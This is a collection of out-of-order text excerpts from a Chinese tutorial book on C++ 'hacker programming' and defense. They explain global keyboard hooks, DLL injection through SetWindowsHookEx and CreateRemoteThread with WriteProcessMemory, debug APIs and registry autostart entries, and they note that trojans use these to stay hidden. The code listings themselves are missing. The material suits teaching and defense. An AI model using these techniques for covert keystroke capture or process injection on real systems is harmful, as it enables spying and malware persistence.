    {"text": "因此，可以将MBR定义为如下： 这就是定义的MBR了，引导程序共440个字节，Windows签名共4个字节，保留字节共2个字节，分区表共64个字节，再加上2个结束标志，一共512个字节。"},
    {"text": "这样的定义方便我们一次性将DPT读出，只要再定义 一个DP的结构体来对DPT进行转换，就可以方便地对DPT进行解析了。 下面再次定义一个结构体，定义如下： 有了这个结构体，就可以方便地对DPT进行解析了。"},
    {"text": "最后两个定义就是对MBR各结构体的完整定义（这几个结构体是笔者自己定义的，可以会有很多考虑不周的地方，网上有公开的结构体的定义，大家可以自行参考。 之所以如此反复介绍如何进行MBR结构体的定义，是想告诉大家一个在没有相关数据结构定义的情况下如何通过自己的分析来定义数据结构的思路和方法）。 大家思考一下，如果不定义这些结构体是不是就无法对MBR进行解析，定义了这些结构体后对于解析MBR有哪些影响。 对于MBR的解析，可以完全不定义这些结构体，定义这些结构体的目的是方便对程序的后期维护，并使程序在整体上有一个良好的格式。"},
    {"text": "有一款工具WinObj可以帮助查找到。 打开WinObj,再依次打开左边的树形控件，如图6-45所示。 图6-45 WinObj找到的硬盘设备 通过图6-45可以找到硬盘设备的设备名，例如可以通过\\Device\\Harddisk0\\DR0这个设备名再去查找相应的设备符号链接。 我们再依次打开WinObj左边的树形控件，如图6-46所示。 图6-46 WinObj找到的硬盘设备符号链接 从图6-46中可以看到硬盘的设备符号链接为PhysicalDrive0,在使用时应该书写为\\\\.\\PhysicalDrive0。"},
    {"text": "6.5.4 解析MBR的程序实现 到了这里大家可能会觉得通过程序解析MBR已经不是问题了，下面直接提供程序的代码吧。 如果代码中有不理解的地方，可以参考一下我们是如何通过WinHex对MBR的解析了。"},
    {"text": "C++黑客编程揭秘与防范 本书的定位 本书并非高深的技术性书籍，市场上较深入的研究系统底层、加解密相关的、网络安全编程相关的书籍非常多。但是，很多并非入门类的书籍。本书旨在，通过简单的语法知识及常用的系统函数完成一些有特定功能的安全工具。在读者有基础的前提下，让读者对系统知识等各方面有一个全面的了解，并且在笔者的带领下一步步地完成书中的实例，也可以增强读者的动手能力，源程序下载地址www. ptpress.com.cn。 C++黑客编程揭秘与防范 本书的前置知识 阅读需要有C、C++语言的基础知识，本书并不是一门编程语言关于语法知识的教科书。如果读者希望能够顺利阅读此书，至少要有阅读C、C++语言编程的能力。如果没有C、 C++语言的基础，而有其他语言的基础，那么也是没有问题的。在掌握了编程思想，或者会使用API函数后，用自己熟悉的语言进行相应的开发也是可以的。但是，为了将来能更好、更深入地学习系统的底层知识，建议学习C、C++和汇编语言。 C++黑客编程揭秘与防范 第7章 最后的旅程——简单 驱动开发及逆向 本章将一起来学习和了解与驱动相关的编程，还有当下倍受欢迎的逆向知识。这两方面的知识无论是从反面的免杀、外挂、破解角度来说，还是从正面的反病毒、反外挂、反调试来说都非常有用。对于学习黑客编程的新手来说，真正要了解这些也许要花一点时间，不过还是要讨论一下，驱动毕竟是比较神秘的知识，而逆向确实是对于开发环境和分析环节的一个精髓。 C++黑客编程揭秘与防范 第4章 加密与解密 本章将学习一些简单的加密与解密的知识,并会接触到PE结构、OD调试器和调试API函数。"},
    {"text": "C++黑客编程揭秘与防范 5.4 Windows钩子函数 5.4.1 钩子原理 Windows下的应用程序大部分是基于消息模式机制的，一些CUI的程序不是基于消息的。"},
    {"text": "Windows操作系统提供的钩子机制的作用是用来截获、监视系统中的消息的。 Windows操作系统提供了很多不同种类的钩子，不同的钩子可以处理不同的消息。"},
    {"text": "全局钩子需要使用DLL文件，DLL文件里存放了钩子函数的代码。 在操作系统中安装了全局钩子以后，只要进程接收到可以发出钩子的消息后，全局钩子的DLL文件会被操作系统自动或强行地加载到该进程中。 由此可见，设置消息钩子也是一种可以进行DLL注入的方法。"},
    {"text": "5.4.2 钩子函数 上面已经简单地讲述了Windows钩子的基本原理，现在来学习一下Windows下的钩子函数，主要有3个，分别是SetWindowsHookEx()、CallNextHookEx()和UnhookWindowsHookEx()。"},
    {"text": "如果dwThreadId参数被赋值为0，或者被设置为一个其他进程中的线程ID，那么1pfn则属于DLL中的函数过程。 如果dwThreadId为当前进程中的线程ID，那么1pfn可以是指向当前进程中的函数过程，也可以是属于DLL中的函数过程。"},
    {"text": "也就是当调用GetMessage()或PeekMessage()函数时，函数从程序的消息队列中获取一个消息后则调用该钩子。 WH GETMESSAGE钩子函数的定义如下： 2. WH_MOUSE。"},
    {"text": "这样，钩子就会形成一条钩子链，最后安装的钩子会首先截获到消息，当该钩子对消息处理完毕以后，会选择返回，或者选择把消息继续传递下去。"},
    {"text": "在通常情况下，为了消息可以传达到目标窗口，我们会选择将消息继续传递，使消息能继续传递的函数的定义如下： 该函数有4个参数，第一个参数是钩子句柄，就是SetWindowsHookEx()函数的返回值。"},
    {"text": "例如： 5.4.3 键盘钩子实例 下面来写一个可以截获键盘消息的钩子程序，这个程序的功能非常简单，就是把按下的键对应的字符显示出来。 既然要截获键盘消息，那么肯定是截获系统范围内的键盘消息，因此需要安装全局钩子，这样就需要DLL文件的支持。"},
    {"text": "先来新建一个DLL文件，在该DLL文件中，需要定义两个导出函数和两个全局变量，定义如下： 在DllMain()函数中，需要保存该DLL模块的句柄，以方便安装全局钩子。"},
    {"text": "为了测试该DLL文件，新建一个MFC的Dialog工程，添加两个按钮，如图5-28所示。 图5-28 键盘钩子的测试程序 分别对这两个按钮添加代码，如下： 直接调用DLL文件导出这两个函数，不过在使用之前要先对这两个函数进行声明，否则编译器因无法找到这两个函数的原型而导致连接失败。"},
    {"text": "在有些情况下，需要DLL文件完成一些功能，但是完成功能时需要DLL在目标进程的空间当中。 这时，就需要使用WH_GETMESSAGE这个消息把DLL注入到目标的进程中。 代码非常简单，这里直接给出DLL文件的代码，代码如下： 整个代码就是这样，只要大家知道，在需要DLL大范围的注入到基于消息的进程中时可以使用这种方法。"},
    {"text": "C++黑客编程揭秘与防范 本书适合的读者 长期研究黑客工具的程序员，且有打算自己开发网络安全工具的人员。 掌握编程基本语法想要进行相关编程实践的读者。 C++黑客编程揭秘与防范 2.1 网络通信基础 一台计算机和另一台计算机通信，只需要知道两个内容就可以了，即IP地址和端口号。这两个名词想必大家不但听过，而且已经有感性上的认识了。我们在扫描网络主机的时候，会在扫描器中填写扫描主机的IP地址，然后扫描器会逐个扫描IP地址，并且把指定IP的所有开放端口全部列出来。那么IP地址是什么？端口号是什么？下面简单介绍一下两者的作用。 2.1.1 IP地址的作用与分类 IP地址的全称是网际协议地址，互联网上的每个主机和路由器都有IP地址，没有两个机器有相同的IP地址，因此它是用来标识一台网络主机的。所有的IP地址都是32位长，其用点分十进制法来表示，比如“10.10.30.12”。IP地址指定的不是主机，而是网络接口设备。因此，一个主机有两个网络接口，那么就会有两个IP地址。通常情况下，一台主机只有一个IP地址。 IP地址被分为5类，分别是A类、B类……E类，每一类IP地址的范围如表2-1所示。 上面的IP地址划分是照搬了其他参考书里面给出的IP地址的划分方式，笔者把这些IP地址重新进行了归类。共分为4类，一类是环回IP地址（表示本机IP地址），一类是内网IP地址，一类是公网IP地址，一类是其他。下面分别进行简短的介绍。 1. 环回IP地址。 A类网络号为127就是为环回地址预留的。通常情况下是127.0.0.1这个地址，或者是localhost，该IP地址不管机主是否联网，对这个IP地址的通信都是可以连通的，因为它就表示本地主机。ping一下环回地址试试，在命令行下输入：ping 127.1，不论是否联网这个地址都是通的。 2. 内网IP地址。 用于局域网内，比如网吧、企业、政府、学校的内部。它主要负责局域网的通信。内网地址开头都是10、192……一些地址。 3. 公网IP地址。 是ISP（网络服务供应商），比如网通、电信、铁通……提供的这些地址都是由动态ISP分配的，这个地址是真正在互联网上进行通信的IP地址。 4. 其他IP地址。 是TCP/IP中保留的用来做实验的一些IP地址，就比如D类和E类这些基本我们普通用户用不到的IP地址。 2.1.2 端口的作用与分类 IP地址可以在互联网上唯一地标识一台主机，那么端口号有什么用呢？两台计算机通信，其实是两台计算机上的不同进程间的通信。也就是说，木马的客户端和木马的服务端都是操作系统下的一个进程。Windows操作系统下是多进程的，即使IP地址可以标识一台主机，却无法得知是和哪个进程在通信，因为打开的网络软件实在太多了，比如QQ、IE……因此，端口号就是用来标识进程的。 端口号是16位的，范围在0〜65535之间。端口号根据传输层的传输协议的不同分为两种，一种是TCP端口，另一种是UDP端口。用扫描端口的软件可以区分出TCP和UDP端口。TCP和UDP是两种不同的协议，TCP协议用于可靠传输中，而UDP协议用于不可靠传输中。TCP的端口在通信过程中始终保持连接，直到通信结束，而UDP的通信是不需要连接的。两种协议各有优缺点，视具体情况而定。 C++黑客编程揭秘与防范 5.5 总结 在Windows操作系统下挂钩的方法非常多，这里只介绍了Inline Hook、IAT Hook和Windows钩子等几种。这些都是较为常见的挂钩方法，希望大家可以掌握。"},
    {"text": "C++黑客编程揭秘与防范 3.6 DLL编程 DLL （Dynamic Link Library，动态链接库）是一个可以被其他应用程序调用的程序模块，其中封装了可以被调用的资源和函数。"},
    {"text": "3.6.2 编写一个简单的DLL程序 我们编写一个简单的DLL程序，并在DLL程序中添加一个导出函数。 所谓导出函数，就是DLL提供给外部EXE或其他类型的可执行文件调用的函数，当然DLL本身也可以自己进行调用。"},
    {"text": "启动VC6程序，单击菜单“文件” -> “新建”命令，在“Projects”选项卡中的左边选择“Win32 Dynamic-Link Library”，在“Project name:”文本框中填写“FirstDll”，如图3-25所示。 单击“OK”按钮，出现“Win32 Dynamic-Link Library-Step 1 of 1”界面，选择“A simple DLL Project”项，单击“Finish”按钮。"},
    {"text": "该参数的取值有4种，分别是DLL_PROCESS_ATTACH（当DLL被某进程加载时DllMain被调用）、DLL_PROCESS_DETACH（当DLL被某进程卸载时DllMain被调用）、 DLL_THREAD_ATTACH （进程中有线程被创建时DllMain被调用）和DLL_THREAD_DETACH（进程中有线程结束时DllMain被调用）。"},
    {"text": "DllMain()前面有一个APIENTRY，这是一个宏，该宏定义如下： 我们在前面介绍过，WINAPI也是一个宏，该宏表示一种函数调用约定。 DllMain()函数不只一次地被调用，每次的调用可能执行不同的代码，比如当进程加载该DLL时，可能在DLL中要申请一些资源，在进程卸载该DLL时，DLL则要释放自己所申请的资源。 处于这些原因，在写DLL程序时，需要这样把DllMain()函数写成如下形式： 这样写就可以达到根据不同的调用原因执行不同的代码。"},
    {"text": "我们分别在DLL_PROCESS_ATTACH和DLL_PROCESS_DETACH下加一个对该函数的调用，代码如下： 编译该代码，会生成两个对我们有用的文件，一个是“FirstDll.dll”，另外一个是“FirstDll.lib”，前面的是DLL文件，后面的是库文件，该库文件中包含着导出函数的相关信息。 3.6.3 对DLL程序的调用方法一 DLL程序就写到这里，接下来写个调用该DLL的程序测试一下吧。 我们需要对该DLL进行两方面的测试，一个是看当加载和卸载该DLL时，是否会弹出对话框； 另外一个是调用这个DLL的导出函数看是否能成功。"},
    {"text": "在左面的工作区打开我们新建的工程，在 DllTest1.cpp中添加代码： 图3-26 添加测试工程 对该代码进行编译连接，这时并没有生成我们想要的可执行文件，在编译连接过程中出错了，出错信息如图3-27所示。 图3-27 出错信息 这个错误确切地说是连接错误，原因是找不到DLL的Lib文件，我们把“FristDll.lib”文件复制到DllTest1这个工程的目录下，再次编译连接，这次通过了。"},
    {"text": "图3-28 运行DllTest1时的错误信息 这个错误的原因是DllTest1找不到FirstDll.dll这个文件，把开始编译好的这个文件也复制到DllTest1的工程目录下，再次运行，这次一切正常，并且看到弹出3次对话框，说明DLL程序已经能够正常运行了。"},
    {"text": "3.6.4 对DLL程序的调用方法二 第一种方法是属于静态调用，现在的第二种方法属于动态调用。 静态调用就是在编译测试程序DllTest1时，FirstDll.dll的信息就已经写入了DllTest1的程序中了。 对于动态加载的话，就不是编译时完成了，而是在运行时完成，那么FirstDll.dll的信息也不会写入测试程序中了。"},
    {"text": "现在来写一个DllTest2程序，该程序的建立方法与DllTest1的建立方法相同。 DllTest2的代码如下： 我们对代码进行编译连接，正常编译通过。 那么就运行该程序，提示“FirstDll.dll文件不存在”，这说明DllTest2程序没有找到FirstDll.dll文件。 把FirstDll.dll文件拷贝到DllTest2的工程目录下，再次运行该程序，这次运行成功了，并且应该弹出的3个对话框也都正常弹出了。"},
    {"text": "DLL的动态加载是非常有用的，在DllTest1中，如果无法找到DLL文件，系统会直接报错而退出，而在DllTest2中，如果无法找到DLL文件，程序会给出一个错误提示，并且可以继续运行，而不影响其他代码的运行。"},
    {"text": "那就需要用到LoadLibrary()和GetProcAddress()这两个API函数了。 看一下LoadLibrary()和GetProcAddress()这两个函数的定义： 该函数只有一个参数，就是要加载的DLL文件的文件名。"},
    {"text": "在这里介绍两个工具，一个工具是VC6自带的工具“Depends”，另一个工具是用来查看PE结构（关于PE结构的内容在后面的章节会讲到）的工具“PEID”。"},
    {"text": "方法如下：单击菜单“开始”-> “程序” -> “Microsoft Visual Studio 6.0” -> “Microsoft Visual Studio 6.0 Tools” -> “Depends”命令，打开该程序，再单击菜单“File”-> “Open…”命令，在“打开”对话框中找到我们写的FirstDll.dll文件并打开，如图3-29所示。"},
    {"text": "单击“子系统”右边的“ ”按钮，会显示PE结构的详细信息，在详细信息的下半部分有一个“目录信息”，在“目录信息”中第一个就是我们想要查看的导出函数的内容，单击“导出表”右面的“大于号按钮 ”按钮，出现如图3-31所示的界面。"},
    {"text": "C++黑客编程揭秘与防范 第2章 木马开发剖析 黑客们对系统成功入侵后，为了方便下次登录被入侵的计算机，通常会留下一个后门，或者是木马。国产著名的木马有冰河、广外女生、灰鸽子、上兴、PCShare……这些木马对每个黑客来说都已经很熟悉了，那么接下来就介绍一下它们的共性。不管是哪种木马，它们都要依靠网络来进行客户端与服务器端的通信，也就是说，不管木马有多么复杂的功能，其基础都是建立在网络的通信上。"},
    {"text": "C++黑客编程揭秘与防范 4.9 调试API函数的使用 在Windows中有这么一些API函数是专门用来进行调试的，这些函数被称作为Debug API，或者是调试API。"},
    {"text": "利用这些函数可以进行调试器的开发，调试器通过创建有调试关系的父子进程来进行调试，被调试进程的底层信息、即时的寄存器、指令等信息都可以被获取，进而用来分析。"},
    {"text": "调试器依赖于调试事件，调试事件有着非常复杂的结构体，调试器有着固定的流程，由于实时需要等待调试事件的发生，其过程是一个调试循环体，非常类似SDK开发程序中的消息循环。"},
    {"text": "4.9.1 常见的3种断点方法 在前面介绍OD的时候提到过，产生中断的方法是设置断点，常见的产生中断的断点方法有3种，一种是中断断点，一种是内存断点，还有一种是硬件断点。"},
    {"text": "代码如下： 在代码中使用了__asm，在__asm后面可以使用汇编指令，如果想添加一段汇编指令，方法是__asm{}这样的。 通过__asm可以在C语言中进行内嵌汇编语言。"},
    {"text": "图4-63 “异常基本信息”对话框 弹出“异常基本信息”对话框，因为这个对话框给出的信息实在太少了，继续单击“要查看关于错误报告的技术信息”后面的“单击此处”链接，打开如图4-64所示的对话框。"},
    {"text": "如果想通过调试器在被调试进程中设置INT3断点的话，那么只需要把要中断的位置的机器码改为0×CC即可，当调试器捕获到该断点异常时，修改为原来的值即可。"},
    {"text": "在OD中关于内存断点有两种，一种是内存访问，另外一种是内存写入。 用OD随便打开一个应用程序，在其“转存窗口”（或者叫“数据窗口”）中随便选中一些数据点后单击右键，在弹出的菜单中选择“断点”命令，在“断点”子命令下会看到“内存访问”和“内存写入”两种断点，如图4-67所示。"},
    {"text": "图4-67 内存断点类型 下面通过简单例子来看一下如何产生一个内存访问异常，代码如下： 在这个程序中，使用了VirtualProtect()函数，该函数与第3章中介绍的VirtualProtectEx()函数类似，不过VirtualProtect()是用来修改当前进程的内存属性的。"},
    {"text": "图4-68 “异常基本信息”对话框 按照前面介绍的步骤打开“错误报告内容”对话框，如图4-69所示。 图4-69 “错误报告内容”对话框 按照上面的分析方法来看一下Code和Address这两个值。"},
    {"text": "在Address后面的值为0×0000000000402fa3，这个值是地址，但是这里的地址根据程序来考虑，值是用malloc()函数申请的，用于保存数据的堆地址，而不是用来保存代码的地址。"},
    {"text": "硬件断点是有硬件进行支持的，关于硬件断点的具体原理就不进行介绍了。 在OD中使用硬件断点的方法类似于内存断点，同样是在右键菜单中进行设置。"},
    {"text": "本小节的内容是介绍调试API函数，及其相关的调试结构体。 调试API函数的数量非常少，但是其结构体是非常少有的较为复杂的，虽然说是复杂，其实只是嵌套的层级比较多，只要了解了较为常见的，剩下的可以自己对照MSDN进行学习。 在介绍完调试API函数及其结构体后，再来简单演示一下，如何通过调试API捕获INT3断点和内存断点。"},
    {"text": "创建调试关系 既然是调试，那么必然存在调试和被调试。 调试和被调试的这种调试关系是如何建立起来的，是我们首先要了解的内容。 要使调试和被调试创建调试关系，那么就会用到两个函数中的一个，这两个函数分别是CreateProcess()和DebugActiveProcess()。 其中CreateProcess()函数已经介绍过了，那么如何使用CreateProcess()函数来建立一个需要被调试的进程呢？ 还是来回顾一下CreateProcess()函数吧。 CreateProcess()函数的定义如下： 现在要做的是创建一个被调试进程。 在CreateProcess()函数中，有一个dwCreationFlags的参数，该参数的取值中有两个重要的常量，分别为DEBUG_PROCESS和DEBUG_ONLY_THIS_PROCESS。 DEBUG_PROCESS的作用就是被创建的进程处于调试状态，如果一同指定了DEBUG_ONLY_THIS_PROCESS的话，那么就只能调试被创建的进程，而不能调试被调试进程创建出来的进程。"},
    {"text": "该函数的参数就一个，该参数指定了被调试进程的进程ID号。 从函数名与函数参数可以看出来，这个函数是和一个已经被创建的进程来建立调试关系的，跟CreateProcess()的方法是不一样的。"},
    {"text": "在OD中也同样有这个功能，打开OD，选择菜单中的“文件”> “挂接”命令，就出现“选择要挂接的进程”窗口，如图4-70所示。 图4-70 “选择要挂接到的进程”的窗口 OD的这个功能就是通过DebugActiveProcessO函数来完成的。"},
    {"text": "调试器与被调试的目标进程可以通过前两个函数建立调试关系，但是如何使调试器与被调试的目标进程断开调试关系呢？ 有一个很简单的方法，关闭调试器进程，这样调试器进程与被调试的目标进程会同时结束。 也可以关闭被调试的目标进程，这样也可以达到断开调试关系。 那如何让调试器与被调试的目标进程断开调试关系，又保持被调试目标进程的运行呢？"},
    {"text": "4.9.3 判断是否处于被调试状态 很多程序都要检测自己是否处于被调试状态，比如游戏、病毒，或者加壳后的程序。 游戏为了防止被做出外挂而进行反调试，病毒为了给反病毒工程师增加分析难度而反调试，加壳程序是专门用来保护软件的，当然也会有反调试的功能（该功能仅限于加密壳，压缩壳是没有反调试功能的）。 本小节不是要介绍反调试，而是要介绍一个简单的函数，这个函数是判断自身是否处于被调试状态，函数名为IsDebuggerPresent()，函数的定义如下： 该函数没有参数，根据返回值来判断是否处于被调试状态。"},
    {"text": "4.9.4 断点异常函数 有时为了调试方便可能会在自己的代码中插入_asm int 3，这样当程序运行到这里时会产生一个断点，就可以用调试器进行调试了。 其实微软提供了一个函数，使用该函数可以直接让程序运行到某处的时候产生INT3断点，该函数的定义如下： 修改一下前面的程序，把_asm int 3替换为DebugBreak()，编译连接并运行看一下。"},
    {"text": "图4-73 “错误报告内容”对话框 看一下Code的后面的值，看到值为0×80000003就应该知道是EXCEPTION_BREAKPOINT。 再看Address后面的值，值为0×000000007c92120e，从这个地址可以看出，该值在系统的DLL文件中，因为调用的是系统提供的函数。"},
    {"text": "4.9.5 调试事件 调试器在调试程序的过程中，是通过不断地下断点来完成的，而断点的产生在前面的内容中提到过一部分。 通过前面介绍的INT3断点和内存断点可以得知，调试器是在捕获目标进程产生的异常从而作出响应。 当然，对于介绍的断点来说是这样的，不过对于调试器来说，除了对异常作出响应以外，还会对其他的一些事件作出响应，异常只是所有调试能进行响应事件的一部分。 调试器的工作主要是依赖调试事件，调试事件在系统中被定义为一个结构体，也是到目前为止要接触的最为复杂的一个结构体，因为这个结构体的嵌套关系很多。"},
    {"text": "图4-74 dwDebugEventCode取值 （2） dwProcessId：该字段指明了引发调试事件的进程ID号。 （3） dwThreadId：该字段指明了引发调试事件的线程ID号。"},
    {"text": "在该联合体中包含了很多个结构体，包括 EXCEPTION_DEBUG_INFO、CREATE_THREAD_ DEBUGJNFO、CREATE_PROCESS_DEBUG_INFO、EXIT_THREAD_DEBUG_INFO、 EXIT_PROCESS_DEBUG_INFO、LOAD_DLL_DEBUG_INFO、UNLOAD_DLL_DEBUG_ INFO和 OUTPUT_DEBUG_STRING_INFO。 在以上众多的结构体中，特别要介绍一下EXCEPTION_DEBUG_INFO,因为这个结构体中包含了关于异常相关的信息，而对于其他的几个结构体，使用比较简单，大家可以参考 MSDN。 EXCEPTION_DEBUG_INFO的定义如下： 在EXCEPTION_DEBUG_INFO中包含的EXCEPTION_RECORD结构体中保存着真正的异常信息，对于dwFirstChance里面保存着ExceptionRecord的个数。 看一下关于 EXCEPTION_RECORD结构体的定义： （1） ExceptionCode：异常码。"},
    {"text": "该值在MSDN中的定义非常多，不过我们需要使用的值只有 3个，分别是 EXCEPTION_ACCESS_VIOLATION （访问违例）、EXCEPTION_ BREAKPOINT （断点异常）和EXCEPTION_SINGLE_STEP （单步异常）。"},
    {"text": "这3个值中的前两个值对于我们来说是非常熟悉的，因为在前面已经介绍过了，关于最后一个单步异常想必也是非常熟悉的了。 我们在使用OD快捷键的F7键、F8键时就是在使用单步功能，而单步异常就是有EXCEPTION_SINGLE_STEP来表示的。"},
    {"text": "在调试器捕获到调试事件后会对被调试的目标进程中产生调试事件的线程进行挂起，在调试器对被调试目标进程进行相应的处理后，需要使用ContinueDebugEvent()对先前被挂起的线程进行恢复。 ContinueDebugEvent()函数的定义如下： （1） dwProcessId：该参数表示被调试进程的进程标识符。"},
    {"text": "但是当遇到调试事件中的调试码为EXCEPTION_DEBUG_EVENT时这两个常量就会有不同的动作，如果使用DBG_EXCEPTION_NOT_HANDLED,调试器进程将会忽略该异常，Windows会使用被调试进程的异常处理函数对异常进行处理； 如果使用 DBG_CONTINUE的话，那么需要调试器进程对异常进行处理，然后继续运行。 由上面两个函数配合调试事件结构体，就可以构成一个完整的调试循环，以下这段调试循环的代码摘自MSDN，代码如下： 以上就是一个完整的调试循环，不过有些调试事件对于我们来说可能是用不到的，那么就把不需要的调试事件所对应的case语句删除掉就可以了。"},
    {"text": "4.9.7 内存的操作 调试器进程通常要对被调试的目标进程进行内存的读取或写入。 对于跨进程的内存读取和写入的函数其实在前面的章节已介绍过，就是ReadProcessMemory()和WriteProcessMemory(). 要对被调试的目标进程设置INT3断点时，就需要使用WriteProcessMemory()函数对指定的位置写入0×CC.当INT3被执行后，要在原来的位置上把原来的机器码写回去，原来的机器码需要使用ReadProcessMemory()函数来进行读取。 关于内存操作除了以上两个函数以外，还有一个就是修改内存的页面属性的函数，即 VirtualProtectEx()，同样这个函数前面也介绍过了。"},
    {"text": "在进行线程切换以前有一步保存线程环境的工作，那就是保存在切换时线程的所有寄存器值、栈信息及描述符等相关的所有信息。 只有把线程的上下文保存起来，在下次该线程被CPU再次调度时才能正确地接着上次的工作继续进行。"},
    {"text": "在Windows系统下，将线程环境定义为CONTEXT结构体，该结构体需要在Winnt.h头文件中找到，在MSDN中并没有给出定义。 CONTEXT结构体的定义如下： 这个结构体看似很大，但是也并不大，只要了解汇编语言的话，结构体中的各个字段应该是非常熟悉的。"},
    {"text": "这里只介绍一下ContextFlags字段的功能，该字段用于控制GetThreadContext()和 SetThreadContext()能够获取或写入的环境信息。 ContextFlags的取值也只能在Winnt.h头文件中找到，其取值如下： 从这些宏定义的注释来看，能很清楚地知道这些宏可以控制GetThreadContext()和 SetThreadContext()进行何种操作。"},
    {"text": "这两个函数的定义分别如下： 这两个函数的参数都基本一样，hThread表示线程句柄,而lpContext表示指向CONTEXT的指针。 所不同的是，GetThreadContext()是用来获取线程环境的，SetThreadContext()是用来进行设置线程环境的。"},
    {"text": "C++黑客编程揭秘与防范 3.3 注册表操作 3.3.1 注册表 免疫Autorun的程序虽然完成了，但是并不是很完整，我们可以在注册表中把“自动播 放”禁止掉，这样即使有Autorun.inf文件，系统也不会运行它，系统的安全系数就会更高了。"},
    {"text": "当然，由于注册表的功能非常强大，因此，注册表对于病毒、木马来说是非常有利用价值的地方。 而对于反病毒软件来说，注册表是其需要加强守卫的地方。 注册表，是一个正义与邪恶的必争之处。"},
    {"text": "注册表对于病毒来说可以利用的地方非常多，比如修改文件关联，增加系统的启动项，映像劫持，篡改浏览器主页……病毒的这些操作让我们不得不了解注册表相关的编程。 3.3.2 与注册表操作相关的常用API函数 对于学习黑客编程来说，注册表的操作当然不能少，现在就来学习关于注册表的操作。 注册表的操作和文件的操作类似，也有打开、关闭、写入、查询等操作，也就是我们所说的“增、删、改、查”，只是使用的API函数不同而已。"},
    {"text": "3.3.3 注册表启动项的管理 对于Windows操作系统来说，注册表中保存了非常多的系统配置，例如常见的IE主页 保存在HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\\Main下的Start Page中；"},
    {"text": "3.3.4 程序的界面设置及相关代码 注册表中可以用来完成开机启动的地方非常多，我们不一一介绍了，这里只对注册表中某个可以完成开机启动的地方进行介绍，至于其他的地方大家可以自行搜集并完成。"},
    {"text": "这里，给出一个关于CListCtrl初始化的代码： 3.3.5 启动项的枚举 在这个实例中，主要是枚举注册表中“HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\”这个子键下的键值项。 对于我们软件启动后，应该显示出在这个注册表子键位置下的所有启动项的内容，枚举的代码如下： 对于注册表启动项的管理来说，应该具备几个功能，首先是屏蔽启动项，然后是删除启动项，最后是添加启动项。 在我们的程序中主要完成后两个功能，一个是删除启动项，另一个是添加启动项，至于屏蔽启动项这个功能就留给大家自己实现。 在很多安全软件中，如Windows优化大师、360安全卫士中都有屏蔽启动项的功能，大家自己思考一下屏蔽启动项与删除启动项的区别在哪里，并如何实现。 下面分别来看一下添加启动项和删除启动项的代码。 3.3.6 添加启动项的代码 添加启动项，需要添加一个窗口，至于窗口的添加方法大家自行参考MFC开发相关的介绍，这里就不做过多的介绍了。 完整的代码会提供给大家，方便大家进行参考，这里主要 是介绍与注册表操作相关的内容。 添加启动项的代码如下： 3.3.7 删除启动项的代码 删除启动项的代码比添加启动项的代码要简单，但是在删除的时候要涉及到一个关于CListCtrl控件的编程，也就是选中哪个启动项进行删除，这是一个主要的问题，获取选中的启动项后的删除就非常简单了。 代码如下： 对于启动项的管理软件的编写就到这里了，大家也可以在注册表中其他的可以使软件开机启动的位置添加进去，这样我们的软件就更加强大了。"},
    {"text": "我们可以把要枚举的注册表的子键保存到一个文件中，然后让程序去读取这些子键，在注册表中分别进行枚举。 这样，以后每当在注册表中有新的需要枚举的内容，那么只要对这个文件进行修改就可以了，就不需要对程序本身进行修改了。"},
    {"text": "C++黑客编程揭秘与防范 需要声明的是： 本书的内容是帮助读者提升防范黑客攻击的能力和技术，普及网络安全知识，绝不是为那些怀有不良动机的人提供支持，也不承担因为技术被滥用所产生的连带责任，请读者自觉遵守国家相关法律。"},
    {"text": "所谓的“远程线程”并不是跨计算机的，而是跨进程的，简单说就是进程A在进程B中创建一个线程，这样就叫做远程线程。 关于远程线程的知识，我们从3个例子来学习，一个是DLL的注入，一个是DLL的卸载，一个是不依赖DLL的注入代码，3个例子的原理是一样的。"},
    {"text": "无论是病毒或是木马，它们都是可执行程序，如果它们是EXE文件的话，那么就必将会产生一个进程，产生进程就很容易被发现。 为了不被发现，可以选择为DLL文件，DLL文件加载到进程的地址空间中，不会有进程名，因此其隐蔽性相对较好。 DLL文件如果不被进程加载又如何在进程中呢？ 方法是强制让某进程加载DLL文件，这个强制的手段就是下面要介绍的通过创建远程线程将DLL注入到某个指定的进程中。"},
    {"text": "还记得前面介绍过的CreateThread()函数吗？ 如果还记得CreateThread()的定义的话，那么就来和CreateRemoteThread()进行一个比较吧。 其实对于CreateThread()来说，CreateRemoteThread()就比其多了一个hProcess的参数，该参数是指定要创建线程的进程句柄。 其实CreateThread()函数的实现就是依赖CreateRemoteThread()函数来完成的，CreateThread()函数的代码实现如下： 在上面代码中GetCurrentProcess()函数的功能是获取当前进程的句柄。 Windows并没有提供源代码，而CreateThread()函数的代码为什么是这样的呢？"},
    {"text": "回到我们的主题，CreateRemoteProcess()函数是给其他进程进行注入的，那其第一个参数是指定某进程的句柄的，那么某进程的句柄是如何取到的呢？ 只要有该进程的PID（进程ID），就可以通过OpenProcess()获取该进程的句柄。"},
    {"text": "前面提到，每个进程的地址空间是隔离的，那么新创建的线程函数的地址也应该在目的进程中，而不应该在本进程中，同样的传递给线程函数的参数也应该在目的进程中。 如何让线程函数的地址在目的进程中呢？ 如何让线程函数的参数也在目的进程中呢？ 在讨论这个问题以前，先来考虑一下线程函数需要完成的功能。 我们主要介绍的是注入DLL文件，那么线程函数的功能也就是加载DLL文件。 加载DLL文件的方法前面已经介绍过了，是调用LoadLibrary()函数。 LoadLibrary()函数的定义如下： 该函数的参数是一个指针，API函数的默认调用方式是WINAPI方式（WINAPI是一个宏定义，前面已经介绍过了），而线程函数的定义恰巧也是这样，线程函数的定义格式如下： 两个函数除了返回值以外，其余的都是相同的，返回值的问题可以忽略不考虑。 那么，可以直接把LoadLibrary()函数作为线程函数创建到指定进程中。 LoadLibrary()的参数是要加载的DLL文件的路径。"},
    {"text": "不过别急，还有一个问题没有解释，那就是如何将LoadLibrary()函数的地址放到目标进程空间中，还有如何把DLL文件路径也保存到目标进程空间中。 LoadLibrary()函数在Kernel32.dll这个系统DLL中，而Kernel32.dll这个DLL文件在任何进程中的加载位置都是相同的，也就是说， LoadLibrary()函数的地址在任何进程中的地址都是相同的，因此只要在进程中获取LoadLibrary()函数的地址后，该地址在目标进程中也是可以使用的。"},
    {"text": "至于要注入的DLL文件如何写入目标进程中，那么就要依赖一个API函数了，该函数的定义如下： 该函数的功能是把lpBuffer中的内容写到hProcess指定进程中的lpBaseAddress地址处。"},
